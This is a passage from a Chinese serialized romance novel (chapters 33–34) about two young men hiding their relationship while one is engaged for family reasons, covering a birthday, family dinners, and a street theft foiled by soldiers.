曾盛豪点头:“只要不违背我道德本性。” “不违背,”霍晔忽然冲他笑得一脸邪魅,“我干你的时候,你肯讲两句话哄我开心就行。” “你……”曾盛豪犹豫道,“你想听我说什么?” “啊!”霍晔忽然如条蛇般风骚扭动起身体,一边伸手摸进自己上衣,一边满面春光地尖叫喘息起来,“老公,再深一点!老公,不够、不够,还想要!” 演完,他笑眯眯对身旁人讲解:“呐,就这两句。” 曾盛豪:“…………” 33.第三十三章 曾盛豪清楚霍晔原本就打算以和他上床作为这段恋爱关系的终结点,既然二人要分道扬镳,作为补偿,他甘愿凭君处置。 至于那两句折辱他人格的骚话,霍晔不如杀了他。 霍晔也不太愿强人所难,让曾盛豪自己看着办。 他过生日除了想折辱曾盛豪的人格之外,确实没别的想要的。 曾盛豪心烦意乱,觉得跟霍晔这种无赖没法正经谈。 他将对方送到家门口,撂下一句“早点休息”,转身就要离开。 霍晔忽然手指轻轻扯住他衣摆,一脸乖巧地眨眼望着他:“盛豪哥,我有点怕黑,你可不可以陪我看会儿电视啊?” 曾盛豪一时心软,强忍住吻他的冲动,稀里糊涂点头答应了。 “就看会儿电视啊,待到十点我就走。” “谢谢盛豪哥,你人真好!” 曾盛豪脸上一红,不自觉小声表扬:“你……也很乖。” 二人低头在玄关处换鞋,霍晔像头某种发|情的动物,不停哼唧着蹭他胯骨和大腿,曾盛豪躲避不及,不小心踩到他脚,脱口而出一句:“Sorry.” 霍晔便配合道:“It''s all right.” 曾盛豪不禁莞尔,他觉得霍晔的美式发音也很好听。 刚回国时,他尚未完全脱离全英环境,和家人说话难免中英夹杂,连爷爷看他的眼神都怪怪的。 徐冕以过来人身份提醒他别这样,否则上大学后不容易交到朋友。 曾盛豪不解,问为什么? 徐冕不晓得怎么跟他讲,只说当年自己从哈佛毕业回国参加工作,在医院这么讲话被同事们集体孤立过。 曾盛豪便谨记这一点,从不在同学们面前犯错,但在霍晔身边,他可以没那么多顾忌。 “It’s all right.” 身旁人突然被这句话触发了音乐开关,忍不住轻声哼起歌来。 “……大丈夫 ダイジョウブ だいじょうぶ, 奇跡だって起こせる, Here we go 行こうよ行こうよ行こうよ翼拡げ, きっと何かが何かが どこかで出会える日を待ってる……” 霍晔不经意瞥到他翘着嘴角在认真听,马上双手攥成话筒,自己大声唱一句:“DO! DO! DO! DREAMING! DREAMING! ” 然后笑眯眯地把“话筒”递给他。 曾盛豪笑了声,俯身凑近“话筒”接上一句:“そして扉がひらくよ……” 霍晔颇为惊异,似乎没想到他也看少女向的动漫,瞬间兴致高涨起来,笑声继续唱:“イザとなると何も言えない しゃべりたいのに声も聴きたくて。”(到了关键时刻却什么都说不出来,明明想要交谈,也想听到对方的声音) 曾盛豪笑声接过:“こころがね あわててる。”(心也跟着慌张起来) 霍晔激情陶醉道:“青い空に飛行機雲繋いだ手に沸いてくる POWER。”(在蓝色的天空中有飞机留下的尾迹云,从相握的手中涌起的力量) 曾盛豪目不转睛地笑望着他:“どこだってゆけそうだよ風に乗って。”(似乎可以乘风到任何地方) “It''s all——” 霍晔紧闭着眼继续唱,双手握成的“话筒”忽然被对方一把握住,他愕然抬头,下一秒,曾盛豪猛地将他摁进怀里,掌心捧着他脸庞,低头吻住了他的嘴唇。 霍晔愣了几秒,然后就不管不顾地忘情投入进对方缠绵温柔的吻中。 两个本来刚谈好要分道扬镳的人,就这样莫名其妙地抱在一起吻了二十多分钟,二人步履错乱,踢得脚边两双球鞋四处横飞,直到双方吻得都快喘不上气,才和彼此恋恋不舍地分开。 曾盛豪抬起指腹,帮对方擦着糊满口水的嘴唇,笑道:“Sei molto carino, mi piaci tanto.”(意大利语:你好可爱,我好喜欢你。) 霍晔没好气推他一下:“你再说一句我听不懂的,我就不跟你亲了!” 曾盛豪不依不饶地靠近过来,低头用鼻尖蹭了他几下,深邃笑眼对上他视线:“是在夸你可爱的意思。” 霍晔憋着笑,说:“我没想到你也喜欢看动漫。” 曾盛豪摇头:“我没看过,只听过,这片子在国内很火的时候我刚好在学日语。” 霍晔了然:“我说呢,毕竟你是上世纪出生的人。” 曾盛豪瞬间拉下脸:“我是上世纪末出生,又不是上世纪初,我只和你相差一年多!” 霍晔不禁笑起来,牵住他手,眨眼道:“那你……今晚要留下来吗?” 曾盛豪皱眉犹豫:“这……” 霍晔轻哼一声:“反正都睡过那么多次了,分手之前也不差这几天吧。” 曾盛豪深以为然:“有道理。” 俩人就去厨房切了些水果,沏了壶茶水,彼此靠着坐在沙发上看了两个多小时的《汉武大帝》。 二人边看边聊,霍晔从小就最喜欢卫青霍去病,曾盛豪则很欣赏汉武帝的雄才大略,认为主父偃的“推恩令”不费一兵一卒就能达到削藩目的,简直是天才想法。不过曾盛豪不赞同汉武帝为征讨匈奴消耗国力民生,认为代价惨重,霍晔反驳说要不是汉武帝把匈奴打得屁滚尿流,哪来如今的西北疆土? “这就叫罪在当代,功在千秋!”霍晔雄心勃勃,豪迈万丈,“只有这种胸襟辽阔的君主才配称得上是千古一帝!” “可对普通人来说,这就是天降横灾,弊在当世。”曾盛豪反驳,“你拿‘功在千秋’当标准,怎么不说隋炀帝也是千秋万载的好皇帝?” “他妈的!”霍晔扭头瞪他,“隋炀帝怎么配跟汉武帝比!” “对当朝百姓来说,他们都是一样的人。” “我真服了,”霍晔皱眉,“你能不能稍微从历史观的角度看问题?” “我尊重你波澜壮阔的历史观,”曾盛豪无动于衷,“但前提是你必须认同我的民生观。” “我没说不认同啊!”霍晔敷衍点头,“我同意!非常之同意!” “我的意思是,”曾盛豪强调道,“老百姓的人权和帝王的千秋之功同样重要。” “你放什么狗屁呢?”霍晔看智障一样瞅他,“你在封建王朝谈人权?你和一国之君攀比功绩?你知不知道,古代那群王侯将相们背地里默默做出的无数决策,在史书上也都只算在皇帝一个人头上!” 俩文武官叽里呱啦各执己见,在凌晨时分终于吵困了,才各自打着哈欠去洗漱换衣。 因为霍晔在车上那句“猥亵”太伤人自尊,曾盛豪臭犟驴性子发作,只愿意和他同床,不接受和他共枕,连被子也要分开盖。 霍晔又是穿着情趣装趴在床上风骚勾引,又是苦口婆心地道歉认错,发誓他以后再也不胡说八道了,曾盛豪捂紧被子闭紧双眼,硬是不愿听进脑子。 霍晔折腾半天也觉得没意思,干脆换了身清爽舒服的夏季短袖短裤,泥鳅般丝滑钻进曾盛豪的夏凉被里取暖。 “盛豪哥,我冷。”霍晔可怜兮兮地说。 “这已经是夏天了!”曾盛豪抗拒道。 “卧室里开着空调呢。”霍晔得寸进尺又躺进他怀里。 “那我关了。”曾盛豪伸手出被窝,去拿床头柜的遥控器。 “不行,你关了我又热。”霍晔两条大白腿紧紧缠住他腰,将他绞得死死的,又俯身在他脸颊上亲了两口,笑哼道,“宝贝儿,你就不能心疼我一下么?” “你——!”曾盛豪疼得嘶气,感觉自己要被绞成两半了,偏偏温香软玉在怀,他对这只祸国殃民的妖孽简直是……毫无自制力。 曾盛豪叹了口气,一脸无可奈何地搂住对方,闭眼妥协道:“行吧。” 霍晔见他这副样子,心里没由来一阵空落落的。 他忍不住轻声喊:“曾盛豪……” 曾盛豪懒洋洋地“嗯”一声。 霍晔试探问:“和我这种人混在一起,你后悔吗?” 曾盛豪缓缓睁开眼,目不转睛望着他:“不后悔,为什么要后悔?” 不待霍晔说话,他掌心抚摸两下对方的后脑勺,然后一把强势将人摁进自己怀里。 “霍晔,以后不要再问我这种话,这不是你的风格。” “嗯!” · 七月上旬考核结果出来,邵小军顺利被越级提拔到总裁办做秘书助理。 大清早邵小军哼着小曲儿,迈着张狂至极的步子,手里晃着新拿到的正式岗工牌,溜达着去周羽办公室冲对方大肆显摆了一顿。 周总笑得不行,两手冲他竖起大拇哥,大声赞道:“牛!” 邵小军心满意足地离开,继续张牙舞爪地乘电梯去二十六层新工位上班。 他打开电脑,屁股还没把新办公椅暖热,霍玉章就发消息喊他去办公室,挺好奇问他怎么搞定的苏威? 邵小军那份详细的财报在被高层丢进碎纸机之前,霍玉章使坏让秘书给董事会成员人手发一份,苏威一连好几周脸色都很臭,偏偏最后选择忍气吞声,别说一票否决了,连个响屁都没放一个。 邵小军随意摆摆手,说他只不过是陪大小姐逛了两周的商场,吃了十多顿漂亮饭和下午茶,大小姐shopping累了的时候,他帮人家拎高跟鞋顺便当下人体代步机,然后又给她刷了两百多万的中式红木家具,亲自开着大卡车运送到她那套风格毫不相称的欧式洋房里,不过霍晔最终拒绝了她发来的太子妃上岗申请,料想那堆家具也被大小姐发脾气当柴火给烧了,至于工作方面嘛—— 小case! 霍玉章诧异:“你手里居然还有钱?” 霍晔现在住的房子是他名下的,光每月水电物业费就要六七万,他这半年故意不给这小混蛋发零花,就是怕邵小军临到关键期搞行贿主管那一套。 毕竟叔侄俩风格一脉相承,寻常时刻自然秉持高风亮节,但逢重要节点,料想邵小军的手段也光彩不到哪里去。 “还行吧!” 邵小军吊儿郎当地倚在他办公桌角,随手从果盘里抄起三个大红苹果,耍杂技般在半空抛着,说:“我之前攒了点老婆本儿,为了伺候大小姐又卖了几辆便宜车,托您这半年冷血无情的福,我最近日子勉强还能过下去。” 霍玉章登时开怀大笑起来。 他笑瞧着自家这个小混蛋,慈祥的话语中又暗藏几分幸灾乐祸:“哟,你老婆本儿没了?” 邵小军哼一声:“你又不管我,你管我呢?” 霍玉章挑眉:“那谁管你?” 邵小军不答,两眼幽怨地瞅着他:“老板,你要再不给我发零花,我那点儿老婆本儿就真的要没了!” 霍玉章眼尾皱纹笑翘起来,欣然应道:“行!” 既然邵小军不负众望,成功抵达预期目标,恰好今天又是他十八岁成年生日,霍玉章也早有准备,很快联系几名律师上楼,将自己名下三分之一的资产过给了他,其中包括霍晔老早就看上他车库的那几辆千万超跑,和霍晔现在住的那套学区公寓。 霍晔没想到叔叔会突然做到这地步,毕竟叔叔也才满五十,未来二三十年还大有可为,叔叔这样做,只会令他压力陡然增大。 霍晔不禁皱眉:“这,也没必要给这么多吧……” 霍玉章就笑:“别告诉你爸妈,这是咱俩之间的秘密。” 霍晔苦笑:“叔,我看你这是想逼死我。” 霍玉章“诶”一声:“哪里逼你了?叔是疼你才舍得下血本栽培你呢,你现在才多大?放心,有我盯着呢,你该玩玩该花花,就继续像这么随便干着就行!” 霍晔无话可说,在几名律师好言催促下拿笔签了字,又专门跑去叔叔身边,故意重重地叹了好口气。 “唉!唉!唉!” 霍玉章被他逗得直乐。 他抬手拍了拍侄儿肩膀,嘱咐道:“这里面有部分黄金,你给我老实存着当你的老婆本儿,别再兑美元炒你那堆币了,又赚不来几个子儿,眼下是在国内,你可答应过我要做遵纪守法的好公民了啊!” 霍晔扫兴道:“哦。” 原先他出国,叔叔知道他不开心,一个日理万机的大老董,专门申请了个Q|Q号远程教他炒币,说这游戏比玩牌还刺激呢,他一定会喜欢。 霍晔又不指望弄这玩意儿能赚钱,他就是喜欢玩儿,越刺激越好,叔叔这么懂他,最后也还是让他收手了。 叔叔似乎也是老了。 霍玉章看出霍晔兴致不高,便转移话题:“最近和你那小伙伴怎么样了?” 霍晔挑眉:“什么小伙伴?” 霍玉章端起保温杯喝了口茶叶水,不答。 霍晔很快反应过来,摆手“嗐”一声:“有一天算一天吧!” 霍玉章微诧:“他跟你有段日子了吧,也没找你要个名分什么的?” 霍晔摇头:“他很理智,不会做明知不可为的糊涂事儿。” 随机又认真纠正:“他不是‘跟’我,他是我男朋友。” 霍玉章对这话不置可否,只评价他上句:“理智点儿好,我看他气质就挺沉稳的。” 叔侄俩又聊了会儿,东拉西扯,默契地绕过下周三要和婧柠订婚的事。 霍晔跟叔叔讲,他想把曾盛豪领回家给爸妈看,让他们知道他喜欢的是这种温良含蓄体贴乖巧的满分学霸,而不是那种穿着丁字裤混在酒吧里随便和人滥交的基佬。 霍玉章不赞同摇头,劝他别多此一举。 “ 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霍晔傻傻地笑起来:“嗯!哪怕粉身碎骨都想和他葬在一起!” 按以往,他们家门向来忌讳说这些生死之类的话,毕竟家里好几代都是上过战场的军人,枪弹无眼,稍不留意真就有去无回了。 霍玉章却没对他这一番疯癫话发表任何意见,既无长辈关怀式的责备,也没有视他十八岁毛头小子的爱情为儿戏打闹。 叔叔只是浅浅地望着他笑,好半晌,才说一句:“我懂。” 霍晔不禁打了个激灵。 他从叔叔含笑的目光里看到漫无边际的悲悯与哀伤。 中午霍晔给他叔当了回司机,叔侄俩回家路上去拿了趟生日蛋糕,到家后,客厅空调冷风吹得出奇的清爽,保姆已经做好了一桌子菜,她笑声热络着给霍晔送了几句生日祝福,又把她给他买的两套MLB最新款夏季男装拿给他看,霍晔当即满脸绽放出欢喜,一连声跟她道谢,保姆这才笑着离开。 霍晔觉得家里冷风吹得太舒服了,便拿遥控器将室温调高,他妈身体有旧疾,不能吹太寒的风。 霍晔私下提醒他爸:“平时多注意点儿。” 他爸点头:“你妈知道你性子躁,这空调还不到晌午就调到20°了。” “你也甭太紧张了,”他爸见他表情不对,又说,“她那会儿在厨房忙,没怎么吹着。” 霍晔心不在焉地点头,心想,他不带曾盛豪来家里是对的。 邵书斓亲手给儿子擀的长寿面、煮的荷包蛋,一家人欢声笑语地围坐在餐桌前,几杯酒水饮料下肚,她敏感地察觉到儿子今天格外的开朗阳光,她便也热情高涨起来,让儿子先趁热吃面。 旁边霍玉章也适时当着哥嫂的面儿,笑声表扬着最近侄儿在公司的优异表现,称赞他未来大有可为。 霍晔如愿以偿在他一家人脸上看到满意骄傲的笑容。 爸妈先是把他夸到没词儿了,便又开始搞居安思危那一套,提醒他日后更加要谦逊做人,低调行事,搞好和同学、同事之间的关系,别学傅家那对儿姐弟成天招摇在外欺男霸女的引人注意…… 霍晔埋头吸溜着面,一边点头嗯嗯着,一边不忘称赞他妈的手艺好。 但也不敢夸太过,怕她天天喊他回家吃。 饭后,三个大人坐在客厅喝茶聊天,霍晔主动去厨房洗碗。 他一边尽职尽责尽孝心,一边思量着回头必须得找人过来装个洗碗机,否则回头曾盛豪亲他手,发现他皮肤不细腻了也不香了嫌弃他咋办? 想起曾盛豪,霍晔心底不免浮起一层阴郁。 曾盛豪对他释放出的心意就像蜗牛柔软的触角,每次接收到危险的信号,就立刻敏感地缩回去,一旦危险暂时解除,这人又肆无忌惮地伸出来,起初还会自圆其说,现在连解释都省了。 那晚送他回家后,曾盛豪一连在他公寓住了十天,连宿舍行李都懒得收拾,每天穿他的衣服去上课,晚上就拽着他去外面喝咖啡逛书店,还抽空喊了物业,自作主张把他家密码改成了自己生日。 霍晔认为此人有点太不要脸了,他都好心给曾盛豪录入指纹解锁了,那小子一意孤行,非要改他密码。 曾盛豪这个登堂入室的强盗! 那人脑子有多聪明,骨头就有多难啃;表面有多温和,内心就有多强势,不管有他没他,曾盛豪似乎总能过着怡然自得的生活。 可他几乎要为这个人得病了。 霍晔躲在厨房,偷拍了一张他爸妈和叔叔说话的照片,给曾盛豪发了过去。 刚编辑好一句“这是我家”,沙发那仨人就接连向他投来疑惑与质问: “你小子干啥呢,搁家里还鬼鬼祟祟的?” “小晔,你刚才是不是拍我们了?” “哈哈哈你直接正大光明的过来拍就是了,我们几个又不丑。” “不用了,”霍晔讪笑道,“我就随手纪念一下,你们继续聊。” 那仨人便扭头继续聊。 霍晔洗好碗,收拾干净水槽,又继续给对方拍了一张厨房。 接着,他走进满墙古籍快要挤不下的书房、堆满茂盛绿植的宽大阳台、铺着米色方格砖的卫生间、他爸妈住的大主卧、其他亲人偶尔过来歇脚的客卧、他自己整洁如新、没摆几件东西的冷清房间,逐个三百六十五度都给对方录了视频。 最后再次发送一条: 【这是我家】 曾盛豪等他全部发完,回复道: 【你家很温馨,你的家人看起来也都很好说话】【太阳emoji】 【你要是早点给我拍这间书房,我就不会小看你了】 【下次再回家,往你房间多摆点东西吧,万一哪天你想回去住了呢】 接着,也给他发来一张随手拍的照片: 是家里阿姨给曾盛豪做的午饭营养便当,还有喝掉半杯的美式,地点是在一家小众咖啡店室外休息区,咖啡杯旁边叠着两个厚实的黑皮笔记本。 【教室有点闷,我最近都在楼下吃饭】 【喝完咖啡就不会想午睡了,两门课的老师都爱提问我,我得提前做好复习】 【你几点回来?傍晚下课我就去拿蛋糕和在新荣记订的餐,这么重要的日子实在不知道该送你什么,就定了爱马仕新系列的全套香水,等去了店里我再帮你看几套衣服,你确定真没有想要的东西吗?】 霍: 【有】 曾: 【你说】 霍: 【你】 曾: 【好的,我会帮你多买几盒套的】 霍晔忍不住笑出声: 【爱心emoji】×100 34.第三十四章 傍晚天色渐黑,曾盛豪带着龙溪从爱马仕店出来,二人满手拎着大包小包的纸袋,先回一趟车库放东西,然后结伴出来,分头行动。 龙溪去拿定做的四寸蛋糕,店员刚一拎出来,他就不禁笑出声来。 他完全想不到曾盛豪那样呆板无趣的人,居然会定做一个可爱感爆棚的粉白奶芙双层。 蛋糕中央插着一枚糖块,按照邵小军工作号头像等比例还原的Q版西装小人,祝福贺卡第一行写着“生日快乐”,下一行不是“我爱你”,而是“天天开心,长命百岁”。 “一会儿有劲,一会儿又没劲的……”龙溪失笑。 曾盛豪去了趟花店,买了一束清新粉蓝色的“秘密花园”。 很符合盛夏主题,也很符合他当下心境。 二人在街道碰头,龙溪拎着蛋糕朝他走来,一见他手里捧着的花束,颇为诧异:“不是,你逛大半天就买束这啊?” 曾盛豪抿了下唇:“他有婚约在身,我送玫瑰……不太好。” 龙溪轻啧:“但你送束这样的,他估计会失望吧?” 说完,不满意摇头道:“反正我挺失望的。” 曾盛豪皱眉:“他不会,他肯定知道我想表达什么意思。” 龙溪继续摇头:“我还是觉得你送大红玫瑰更好。” 曾盛豪便道:“那等下我给你买一束,你自己带回去欣赏吧。” 龙溪连忙谢绝:“你别害我啊!之前你请我吃那几次饭,他后来跟我阴阳怪气了好几月呢!” 正说着,身旁忽然路过一个女生,手里拿着份敞开盒盖的鲜红玫瑰形状的老式糕点。 走没两步,她端着装满盒的玫瑰糕对准广场中央的地标建筑,举手机拍照。 龙溪“哟”一声,刚想扭头给身旁人撺掇一句“这玫瑰糕挺不赖哈”,曾盛豪早已飘到女生旁边,礼貌请教:“你好,这个是在哪里买的?” 女生吓一跳,扭头见他模样,愣了几秒,然后抬手给他指路:“一直往前走,很多人排队的那家糕点店。” “你想买的话就赶紧去吧,这是限购的新品,再晚点儿就卖光了。” “好的,谢谢。” 曾盛豪把花束塞到龙溪怀里,嘱咐对方先回车上,他去去就来。 “最多只能排半小时,”龙溪提醒,“路上还得开二十多分钟呢,太晚了蛋糕就化了。” “好的。” 夜幕缓缓落下,街道渐次亮起路灯,曾盛豪一路小跑去排队,眼见着有四个英挺魁梧的青年人说笑着也要去排队,他急忙飞奔冲过去,在四人距离队尾还有五米远时,迅速抢占了先机。 曾盛豪刚站定,便听身后一人笑:“那小子蹿得跟兔子似的。” 曾盛豪脸上一红,埋着头不吱声。 这四个青年都穿国旗标的黑T恤,身姿笔挺器宇轩昂,浑身散发出阳刚雄浑的气场。曾盛豪料想他们来历不凡,要么是警察,要么是军人。 曾盛豪好奇地竖起耳朵,听他们围绕着中间一个领袖青年,正笑声讨论着什么。 “老太太一把年纪了还爱甜食,”一人笑道,“牙口儿真不错。” “她那牙是新镶的,她自己都嫌她嘴馋呢!”那领袖青年笑,“我奶奶年轻那会儿日子苦,连窝窝头都吃不上,老了就爱尝点新鲜玩意儿。” “你也是,”另一人感慨,“你堂堂赵家大少爷,随便打发个人过来买就得了,还亲自跑一趟,咱哥儿几个好容易放天假,下午打球我还没打尽兴呢!” “你还说?”领袖青年抄手就削他一巴掌,“还不是陈骏说这边商城美女多,你们几个都跟着跑来了?” 陈骏被点名,忙道:“诶,赖不着我啊!这是网上说的!” 抱怨那人就哼:“得,咱几个这辈子都别想有女朋友了,就继续跟着赵寻山打光棍得了!” 赵寻山不满反驳:“你光棍你的就算了!别咒我,我可还想讨老婆呢!” 光棍四人组又开始就讨老婆的事业激烈讨论起来。 队伍缓缓移动,曾盛豪边走边诧异,他倒不清楚赵茂青还有个亲哥哥。 正想偷偷扭头瞅一眼赵寻山具体长啥样,就忽然听那个叫陈骏的人开口道:“诶,寻山,上次你带回宿舍的那个徽章,过两天给我也弄个呗?” 上次赵寻山被他家老二喊出去过生日,中途似乎闹了点不愉快,临走时,赵寻山只随身带走了一枚制作精巧的飞行徽章。 这上面除了他的名字缩写、所属部队和飞机机型之外,还有克重可观的金银,特别值钱,也很有纪念意义,即便不能戴出去显摆,自己私人收藏把玩也挺好的。 陈骏一提,剩下俩人立马都表示他们也想要。 “我回头问问吧。”赵寻山神色有些凝重。 “问啥问?”队友们玩笑道,“你可是京城赵家的大公子,你想让谁办点事儿,还不是一句吩咐的事儿?” “我是大公子,人家还是小公子呢,”赵寻山冷哼一声,“要不是我那个丢人现眼的弟弟,老子至于在一个小辈面前连腰杆子都直不起来么?” “啊……”队友们诧异,“咱弟咋啦?” 这话刚问出口,众人立刻察觉到他们僭越了,又忙找补道:“嗐,算了!你们大家族风云变幻的,回头哥儿几个找铜铁匠敲一个仿制的得了。” 于是四人组很快转移到别的话题。 队伍继续移动,曾盛豪也缓慢前行着,心想,“丢人”是指赵茂青揭穿霍晔是同性恋的事么? 但是最丢人的难道不是霍晔么? 当然,也有叶祖阳,但叶祖阳有叶志兴和傅大小姐极力保他,所以最丢人的还是霍晔。 这是小辈之间的打闹,顶多是赵茂青年纪小太顽皮,况且霍晔小时候也没少武力镇压过赵茂青,赵茂青心里不服有点儿报复欲很正常,赵寻山怎么还直不起腰杆? 但如果赵茂青只是纯粹的淘气或者报复,那他开学第一天来609宿舍给霍晔送花怎么解释? 谁会给死对头送粉百合? 所以赵寻山是看出弟弟对霍晔有几分意思,才嫌丢人? 嗯……曾盛豪想,这确实是家门不幸了,毕竟赵茂青不像哥哥一样打了多年光棍,从入学到现在,赵茂青在金融系的魅力值简直无人能敌,他都有女朋友了,周遭追求者仍旧趋之若鹜,连幺鸡都想嫁给他。 谁曾想,这又是一位风流公子哥儿,但按叶婧柠秉性,二人是绝无戏可唱了,曾盛豪私心怀揣的希望也就彻底落空了。 这件事他私下揣摩了很久,若霍晔只是为了家族利益才委曲求全选择结婚,那叶婧柠作为四大家族里唯一一个和霍晔适龄又门当户对的金枝玉叶,她若主动退出,单凭“门当户对”四个字,霍晔这辈子都别想找到下一个适婚对象。 可惜,赵茂青并不如他想象中那么坚定。 “唉……”曾盛豪不禁叹息出声。 四人组谈话声忽地一静,意识到这小子在偷听。 有个青年就乐了,伸手拍了下曾盛豪肩膀,搭话道:“诶,小兄弟,偷听别人讲话可不太好吧?” 曾盛豪歉然扭头:“不好意思,等下我会自动删除的。” 几个青年笑得不行,见他一脸斯文学生气,便逗他:“诶,那你把位置让给我们,怎么样?” 曾盛豪立刻摇头:“不怎么样,偷听你们讲话是我不对,但排队是另一回事,两者不能相抵。” 几人又笑,说:“那我们非要你相抵呢?” 不待曾盛豪皱眉,赵寻山便示意他们:“行了,别逗弄人家了,回头他再当真了。” 又对曾盛豪笑了声:“小兄弟,你别计较,他们跟你开玩笑的。” 曾盛豪点点头。 然后在心里给赵寻山判定为“好人”那一类。 正想再打量一眼对方模样,对面大街上忽地骚动起来,有个中气十足的女声冲着谁吼道:“站住!给我站住!” 排队五人组不约而同扭头望过去。 叶婧柠一身灰衣黑裤帆布鞋,正试穿的防晒衣吊牌还没来得及摘,一路狂奔追小偷,边追边喊。前方偷包贼是个穿牛仔裤的素面青年,脏兮兮的怀里紧揣着一个鼓囊囊的Celine包,被抢劫的包主居然是苏姿,她穿着蓬蓬裙踩着高跟鞋不方便追赶,只能在原地气急败坏地大声嚷:“光天化日的还有没有王法了!保安呢!警察呢!” 不待曾盛豪缓过劲儿,身后四个青年猛地冲出去,跨着长腿飞奔过护栏,在路段拐角将那小偷围堵住,一招将对方制服,将包夺了回来。 然后四人组围绕着被钳制在地的小偷,开始严肃商量起来,到底是谁负责把小偷送去附近警局,谁又负责扮演英雄救美的角色去找那位蓬蓬裙姑娘还包。 为社会做贡献四人都会适当记功加分,但加分算什么?他们都八百年没谈过恋爱了,便不约而同将渴求的视线望向他们的大哥赵寻山。 “山啊,”仨人嗷嗷待哺,“你长这么帅,不愁找不到女朋友的。” 赵寻山没好气地挥手:“得得得,你们去还包,我把人送警局。” 仨人争先恐后,跑去找那位打扮得跟个芭比娃娃一样的美女献殷勤。 赵寻山拧着小偷胳膊,没立刻离开,他望着不远处的女生笑:“婧柠,好久不见,没想到你也是到了见义勇为的年纪了。” 叶婧柠喘着粗气,一边揉着岔气的肚子,一边走过来跟他打招呼:“寻山哥。” 赵寻山冲不远处苏姿抬下巴:“那位小姐是你的朋友吗?” 叶婧柠没好气地笑:“不是,她老跟着我。” 叶婧柠最近没少听到苏姿和霍晔谈恋爱的风声,但根本没放在心上。 苏姿最近被霍晔甩了,这又开始鬼鬼祟祟地跟踪她,但没有要跟她争风吃醋抢男人的意思,只是成天滴溜着两颗卡姿兰大眼,像只老鼠一样阴魂不散地观察她,似乎想要搞清楚她到底有哪点好的。 叶婧柠头疼不已,她真搞不懂这位不务正业的大小姐非要喜欢一个gay干啥! 即便她不方便透露霍晔真实的性取向,但霍晔从头到脚都gay得那么明显了,苏姿真的一点都看不出来吗? 赵寻山颇为诧异:“我原以为你只在男生堆里受欢迎,没想到女孩儿们也这么喜欢你。” 叶婧柠连忙摆手:“别别别!不是你想得那样!” 赵寻山笑了声:“既然不是那样,你陪我一起去趟警局?” 叶婧柠摇头:“我买一堆东西还没结账呢,卡包在他这儿。” 赵寻山恍然,便俯身去小偷身上翻卡包。 小偷还在试图挣扎,赵寻山呵斥一声“老实点儿!”,二人推搡间,揣在小偷怀里衣兜的卡包纽扣绷了开,接着“啪”一声掉在赵寻山脚边。 一堆银行卡散了出来、还有七八张红钞,同时飘出一张拍立得照片。 背景是在叶祖阳婚礼的大红礼堂,一男一女并肩坐在一起,两颗头向彼此亲昵地靠拢。叶婧柠打扮得像只蓝色温柔的人鱼公主,赵茂青穿一身漆黑笔挺的西装,模样年轻又俊气。 赵寻山不动声色将所有东西都塞回包内,起身递给叶婧柠。 “那再见吧,有空来家里吃饭。” “行,谢谢寻山哥。” 目送着叶婧柠离开,赵寻山正要扭着小偷往警局走,身旁不知何时飘过来那个书呆子。 书呆子手里捧着两盒玫瑰糕,献宝似的直勾勾地瞅着他,吓他一大跳。 “你有事吗?”赵寻山挑眉问他。 “这是最后两盒,我免费送给你,就和刚才偷听的事功过相抵了。”曾盛豪说,“一盒给赵奶奶吃,另一盒你去送给婧柠姐吧。” “你认识我?”赵寻山诧异不已。 “不认识,但我在宴席上和婧柠姐吃过饭,”曾盛豪主动推销道,“她喜欢吃米糕,肯定也喜欢吃这个。” “她喜欢吃什么跟我没关系。”赵寻山态度冷淡。 “好的。”曾盛豪充耳不闻,转身朝街对过走去,嘱咐道,“我先把这两盒寄存在店里,等你从警局出来了就去拿,直接报你的名字就行。霍晔说苏姿是个购物狂,她们一时半会儿不会离开商场。” “我说了,我和婧柠没关系!”赵寻山沉声道,“我不管你是什么人,你不要乱安排,也不要乱传!” “我不会乱传,”曾盛豪扭头道,“我就是觉得你是个好人。” “按照辈分,霍晔大概会喊你寻山哥,我也随他喊好了。” “寻山哥,我没有非要安排你们的意思,只是如果任由情况这样发展下去,极可能会酿成悲剧。” “只要你站出来,不管结果如何,赵茂青就不敢乱来,婧柠姐也不会伤心,这样对我们大家都好。” 赵寻山简直对这个莫名其妙蹦出来的小子说得一番莫名其妙的话感到莫名其妙! 他不禁皱眉问:“你到底是谁?你怎么知道我们这几家的事儿?” “你刚说了,你不管我是什么人。” 书呆子仙气飘飘地撂下这句话,然后头也不回地飘走了。 赵寻山沉眉凝视着他背影,片刻,掏手机给赵茂青打电话。 “喂,哥。” “你认识的人里,有没有那种说话特像神经病的书呆子?” “书呆子有一堆,”赵茂青笑,“神经病好像还真没有,你要找谁?” “……”赵寻山余光瞥了眼糕点店,说,“没谁,随便问问。” · 夜晚降临,外面门铃响时,霍晔正在给叶婧柠打电话。 她听起来心不在焉的,只跟他抱怨,她这一年来帮他做了多少次挡箭牌,他再不把苏姿这个磨人的小妖精弄走,她就要交代他是gay了。 “交代吧,”霍晔失笑,“我相信她有分寸。” “至于你的提议,”叶婧柠说,“我尊重你意愿,但我希望你再考虑考虑,不要因为一时的冲动犯了爱情的傻,毁了我们双方终生的利益。” “还有你家那四位老人,他们会对你失望的。” “我……”霍晔整个人蜷缩在沙发地上,低头不停蹭着膝盖,烦躁道,“这件事可能是我冲动了,我会再认真考虑的。” “我没想强迫你的意思,我是怕你犯糊涂。”叶婧柠道,“我们从一开始就清楚,他不会在你身边待太久,你这份心意又能管得了几时?” “我知道,”霍晔埋头痛苦地揪着头发,“我只 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“嗐,能怎么了,他这是高兴呗!”龙溪爽朗笑几声,大喇喇地拎着蛋糕和堆满地的礼袋进家,“我就说,你听我的准没错儿!这不就给他感动的稀里哗啦的!” 曾盛豪眉头越皱越紧,霍晔几乎控制不住流泪。 他与他望着彼此,他们都清楚不是那么回事。 龙溪将礼袋摆满角落三层的置物架,又将蛋糕放在客厅饭桌,打完招呼就离开了。 待门一关,霍晔猛地扑上去将曾盛豪抱住,埋头在他颈窝痛哭起来。 “谁让你送这个的?” “谁让你送这个了!!!” 少年的眼泪如决堤洪水,沾湿他脖颈,扼紧他喉咙,更如一场酸涩连绵的大雨,淋得曾盛豪浑身湿透,难过得无法呼吸。 他不自觉将手里那束玫瑰丢在了地上。 直觉告诉他这件事做错了。 他的情,他的一意孤行,这个少年显然快要承受不住了,而这一切,全是因为他执拗要发展一段长期关系,可他又明知他们不可能长久。 “霍晔,”他心疼地将怀里人抱紧,不停抚摸着对方的头发,“别哭了,都是我不好,是我让你难受了。” 霍晔猛地抬头,吸吸鼻涕,凶狠瞪他:“你又不喊我小名儿了,你是不是又想挨揍了?” 